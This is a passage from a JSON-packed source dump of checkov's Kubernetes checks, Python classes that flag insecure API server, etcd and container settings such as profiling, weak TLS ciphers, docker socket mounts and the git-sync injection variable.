    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerPodSecurityPolicyPlugin(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_84\"\n        name = \"Ensure that the admission control plugin PodSecurityPolicy is set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if cmd == \"--enable-admission-plugins\":\n                        return CheckResult.FAILED\n                    if \"=\" in cmd:\n                        [field, value, *_] = cmd.split(\"=\")\n                        if field == \"--enable-admission-plugins\":\n                            if \"PodSecurityPolicy\" not in value:\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ApiServerPodSecurityPolicyPlugin()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerProfiling(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_90\"\n        name = \"Ensure that the --profiling argument is set to false\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                if \"--profiling=false\" not in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerProfiling()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py",
    "content": "import re\nfrom typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\nTIMEOUT_PATTERN = re.compile(r\"^(\\d{1,2}[h])(\\d{1,2}[m])?(\\d{1,2}[s])?$|^(\\d{1,2}[m])?(\\d{1,2}[s])?$|^(\\d{1,2}[s])$\")\n\n\nclass ApiServerRequestTimeout(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_95\"\n        name = \"Ensure that the --request-timeout argument is set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        command = conf.get(\"command\")\n        if isinstance(command, list):\n            if \"kube-apiserver\" in command:\n                for cmd in command:\n                    if cmd == \"--request-timeout\":\n                        return CheckResult.FAILED\n                    if \"=\" in cmd:\n                        [field, value, *_] = cmd.split(\"=\")\n                        if field == \"--request-timeout\":\n                            matches = re.match(TIMEOUT_PATTERN, value)\n                            if not matches:\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ApiServerRequestTimeout()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerSecurePort(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_89\"\n        name = \"Ensure that the --secure-port argument is not set to 0\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        command = conf.get(\"command\")\n        if isinstance(command, list):\n            if \"kube-apiserver\" in command:\n                if \"--secure-port=0\" in command:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerSecurePort()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerSecurityContextDenyPlugin(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_81\"\n        name = \"Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if cmd == \"--enable-admission-plugins\":\n                        return CheckResult.FAILED\n                    if \"=\" in cmd:\n                        [field, value, *_] = cmd.split(\"=\")\n                        if field == \"--enable-admission-plugins\":\n                            if \"PodSecurityPolicy\" not in value and \"SecurityContextDeny\" not in value:\n                                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerSecurityContextDenyPlugin()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py",
    "content": "import re\nfrom typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\nPEM_PATTERN = re.compile(r\"^(.*)\\.pem$\")\n\n\nclass ApiServerServiceAccountKeyFile(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_97\"\n        name = \"Ensure that the --service-account-key-file argument is set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if cmd == \"--service-account-key-file\":\n                        return CheckResult.FAILED\n                    if \"=\" in cmd:\n                        [field, value, *_] = cmd.split(\"=\")\n                        if field == \"--service-account-key-file\":\n                            # should be a valid path and to end with .pem\n                            matches = re.match(PEM_PATTERN, value)\n                            if not matches:\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ApiServerServiceAccountKeyFile()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerServiceAccountLookup(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_96\"\n        name = \"Ensure that the --service-account-lookup argument is set to true\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\") is not None:\n            if \"kube-apiserver\" in conf[\"command\"]:\n                if (\n                    \"--service-account-lookup=false\" in conf[\"command\"]\n                    or \"--service-account-lookup=true\" not in conf[\"command\"]\n                ):\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerServiceAccountLookup()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerServiceAccountPlugin(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_82\"\n        name = \"Ensure that the admission control plugin ServiceAccount is set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if cmd == \"--enable-admission-plugins\":\n                        return CheckResult.FAILED\n                    if \"=\" in cmd:\n                        [field, value, *_] = cmd.split(\"=\")\n                        if field == \"--enable-admission-plugins\":\n                            if \"ServiceAccount\" not in value:\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ApiServerServiceAccountPlugin()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\nSTRONG_CIPHERS = (\n    \"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\",\n    \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\",\n    \"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305\",\n    \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305\",\n    \"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_RSA_WITH_AES_256_GCM_SHA384\",\n    \"TLS_RSA_WITH_AES_128_GCM_SHA256\",\n)\n\n\nclass ApiServerStrongCryptographicCiphers(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_105\"\n        name = \"Ensure that the API Server only makes use of Strong Cryptographic Ciphers\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--tls-cipher-suites\"):\n                        value = command.split(\"=\")[1]\n                        ciphers = value.split(\",\")\n                        for cipher in ciphers:\n                            if cipher not in STRONG_CIPHERS:\n                                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerStrongCryptographicCiphers()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerTlsCertAndKey(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_100\"\n        name = \"Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                hasCertCommand = False\n                hasKeyCommand = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--tls-cert-file\"):\n                        if len(command.split(\"=\")) == 2 and (command.split(\"=\")[1]).strip():\n                            hasCertCommand = True\n                    elif command.startswith(\"--tls-private-key-file\"):\n                        if len(command.split(\"=\")) == 2 and (command.split(\"=\")[1]).strip():\n                            hasKeyCommand = True\n                return CheckResult.PASSED if hasCertCommand and hasKeyCommand else CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerTlsCertAndKey()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ApiServerTokenAuthFile(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_70\"\n        name = \"Ensure that the --token-auth-file argument is not set\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-apiserver\" in conf[\"command\"]:\n                if any(x.startswith(\"--token-auth-file\") for x in conf[\"command\"]):\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerTokenAuthFile()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\nfrom checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands\n\n\nclass ApiServerkubeletCertificateAuthority(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_73\"\n        name = \"Ensure that the --kubelet-certificate-authority argument is set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        keys, values = extract_commands(conf)\n\n        if \"kube-apiserver\" in keys and \"--kubelet-certificate-authority\" not in keys:\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ApiServerkubeletCertificateAuthority()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/CPULimits.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass CPULimits(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"CPU limits should be set\"\n        id = \"CKV_K8S_11\"\n        # Location: container .resources.limits.cpu\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"resources/limits/cpu\"]\n        res = conf.get(\"resources\")\n        if res:\n            if not isinstance(res, dict):\n                return CheckResult.UNKNOWN\n            limits = res.get(\"limits\")\n            if limits and limits.get(\"cpu\"):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = CPULimits()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/CPURequests.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass CPURequests(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"CPU requests should be set\"\n        id = \"CKV_K8S_10\"\n        # Location: container .resources.requests.cpu\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"resources/requests/cpu\"]\n        res = conf.get(\"resources\")\n        if res:\n            if not isinstance(res, dict):\n                return CheckResult.UNKNOWN\n            requests = res.get(\"requests\")\n            if not isinstance(requests, dict):\n                return CheckResult.UNKNOWN\n            if requests and requests.get(\"cpu\"):  # nosec  # false positive\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = CPURequests()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ContainerSecurityContext(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.5 5.7.3\n        name = \"Apply security context to your containers\"\n        # Security context can be set at pod or container level.\n        # Location: container .securityContext\n        id = \"CKV_K8S_30\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"securityContext\"]\n        if conf.get(\"securityContext\"):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ContainerSecurityContext()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ControllerManagerBindAddress(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_113\"\n        name = \"Ensure that the --bind-address argument is set to 127.0.0.1\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-controller-manager\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if \"=\" in cmd:\n                        [key, value, *_] = cmd.split(\"=\")\n                        if key == \"--bind-address\" and value == \"127.0.0.1\":\n                            return CheckResult.PASSED\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ControllerManagerBindAddress()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass DangerousGitSync(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # Use of GITSYNC_GIT has potential for code injection\n        # https://www.akamai.com/blog/security-research/2024-august-kubernetes-gitsync-command-injection-defcon\n        name = \"Limit the use of git-sync to prevent code injection\"\n        id = \"CKV_K8S_159\"\n        # Location: spec.template.spec.containers[*].env[*].name\n        # Location2: spec.template.spec.initContainers[*].env[*].name\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"env\"]\n        if conf.get(\"env\") and isinstance(conf.get(\"env\"), list):\n            for env in conf.get(\"env\", []):\n                if env.get(\"name\") and env.get(\"name\") == \"GITSYNC_GIT\":\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = DangerousGitSync()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass DefaultNamespace(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.5 5.7.4\n        name = \"The default namespace should not be used\"\n        # default Service Account and Service/kubernetes are ignored\n        id = \"CKV_K8S_21\"\n        supported_kind = (\n            \"Pod\",\n            \"Deployment\",\n            \"DaemonSet\",\n            \"StatefulSet\",\n            \"ReplicaSet\",\n            \"ReplicationController\",\n            \"Job\",\n            \"CronJob\",\n            \"Service\",\n            \"Secret\",\n            \"ServiceAccount\",\n            \"Role\",\n            \"RoleBinding\",\n            \"ConfigMap\",\n            \"Ingress\",\n        )\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        metadata = conf.get(\"metadata\")\n        if metadata:\n            if \"namespace\" in metadata and metadata[\"namespace\"] != \"default\":\n                return CheckResult.PASSED\n            if os.getenv('HELM_NAMESPACE') and os.getenv('HELM_NAMESPACE') != \"default\":\n                return CheckResult.PASSED\n\n            # If namespace not defined it is default -> Ignore default Service account and kubernetes service\n            if conf.get(\"kind\") == \"ServiceAccount\" and metadata.get(\"name\") == \"default\":\n                return CheckResult.PASSED\n            if conf.get(\"kind\") == \"Service\" and metadata.get(\"name\") == \"kubernetes\":\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n        return CheckResult.FAILED\n\n\ncheck = DefaultNamespace()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/DefaultServiceAccount.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass DefaultServiceAccount(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.5 5.1.5\n        name = \"Ensure that default service accounts are not actively used\"\n        # Check automountServiceAccountToken in default service account in runtime\n        id = \"CKV_K8S_41\"\n        supported_kind = (\"ServiceAccount\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"metadata\" in conf:\n            if \"name\" in conf[\"metadata\"]:\n                if conf[\"metadata\"][\"name\"] == \"default\":\n                    if \"automountServiceAccountToken\" in conf:\n                        if conf[\"automountServiceAccountToken\"] is False:\n                            return CheckResult.PASSED\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n        return CheckResult.PASSED\n\n\ncheck = DefaultServiceAccount()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass DefaultServiceAccountBinding(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.5 5.1.5\n        # Check no role/clusterrole is bound to a default service account (to ensure not actively used)\n        # Location: .subjects[]\n        name = \"Ensure that default service accounts are not actively used\"\n        id = \"CKV_K8S_42\"\n        supported_kind = (\"RoleBinding\", \"ClusterRoleBinding\")\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"subjects\" in conf and isinstance(conf[\"subjects\"], list):\n            for subject in conf[\"subjects\"]:\n                if subject[\"kind\"] == \"ServiceAccount\":\n                    if subject[\"name\"] == \"default\":\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = DefaultServiceAccountBinding()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass DockerSocketVolume(BaseK8Check):\n    def __init__(self) -> None:\n        name = \"Do not expose the docker daemon socket to containers\"\n        # Exposing the socket gives container information and increases risk of exploit\n        # read-only is not a solution but only makes it harder to exploit.\n        # Location: Pod.spec.volumes[].hostPath.path\n        # Location: CronJob.spec.jobTemplate.spec.template.spec.volumes[].hostPath.path\n        # Location: *.spec.template.spec.volumes[].hostPath.path\n        id = \"CKV_K8S_27\"\n        supported_kind = (\n            \"Pod\",\n            \"Deployment\",\n            \"DaemonSet\",\n            \"StatefulSet\",\n            \"ReplicaSet\",\n            \"ReplicationController\",\n            \"Job\",\n            \"CronJob\",\n        )\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        spec = {}\n\n        if conf[\"kind\"] == \"Pod\":\n            if \"spec\" in conf:\n                spec = conf[\"spec\"]\n        elif conf[\"kind\"] == \"CronJob\":\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/jobTemplate/spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        else:\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n\n        # Evaluate volumes\n        if spec and isinstance(spec, dict):\n            volumes = spec.get(\"volumes\", [])\n            if not isinstance(volumes, list):\n                return CheckResult.UNKNOWN\n            for v in volumes:\n                if not v.get(\"hostPath\"):\n                    continue\n                if v[\"hostPath\"].get(\"path\") == \"/var/run/docker.sock\":\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = DockerSocketVolume()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/DropCapabilities.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass DropCapabilities(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.7\n        # CIS-1.5 5.2.7\n        # NET_RAW allows a process to spy on packets on its network\n        name = \"Minimize the admission of containers with the NET_RAW capability\"\n        id = \"CKV_K8S_28\"\n        # Location: container .securityContext.capabilities.drop\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"securityContext/capabilities/drop\"]\n        if conf.get(\"securityContext\"):\n            if conf[\"securityContext\"].get(\"capabilities\"):\n                if conf[\"securityContext\"][\"capabilities\"].get(\"drop\"):\n                    for d in conf[\"securityContext\"][\"capabilities\"][\"drop\"]:\n                        if any(cap in d for cap in (\"ALL\", \"all\", \"NET_RAW\")):\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = DropCapabilities()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/DropCapabilitiesPSP.py",
    "content": "from typing import Dict, Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass DropCapabilitiesPSP(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.7\n        # CIS-1.5 5.2.7\n        name = \"Do not admit containers with the NET_RAW capability\"\n        # Location: PodSecurityPolicy.spec.requiredDropCapabilities\n        id = \"CKV_K8S_7\"\n        supported_kind = (\"PodSecurityPolicy\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        spec = conf.get(\"spec\")\n        if spec and isinstance(spec, dict):\n            drop_cap = spec.get(\"requiredDropCapabilities\")\n            if drop_cap and isinstance(drop_cap, list):\n                if any(cap in drop_cap for cap in (\"ALL\", \"NET_RAW\")):\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"spec/requiredDropCapabilities\"]\n\n\ncheck = DropCapabilitiesPSP()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass EtcdAutoTls(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 2.3\n        id = \"CKV_K8S_118\"\n        name = \"Ensure that the --auto-tls argument is not set to true\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        command = conf.get(\"command\")\n        if isinstance(command, list):\n            if \"etcd\" in command and \"--auto-tls=true\" in command:\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = EtcdAutoTls()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass EtcdCertAndKey(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 2.1\n        id = \"CKV_K8S_116\"\n        name = \"Ensure that the --cert-file and --key-file arguments are set as appropriate\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"etcd\" in conf[\"command\"]:\n                hasCertCommand = False\n                hasKeyCommand = False\n                for command in conf[\"command\"]:\n                    if command.startswith(\"--cert-file\"):\n                        hasCertCommand = True\n                    elif command.startswith(\"--key-file\"):\n                        hasKeyCommand = True\n                    if hasCertCommand and hasKeyCommand:\n                        return CheckResult.PASSED\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = EtcdCertAndKey()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass EtcdClientCertAuth(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 2.2\n        id = \"CKV_K8S_117\"\n        name = \"Ensure that the --client-cert-auth argument is set to true\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        command = conf.get(\"command\")\n        if isinstance(command, list):\n            if \"etcd\" in command and \"--client-cert-auth=true\" not in command:\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = EtcdClientCertAuth()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py",
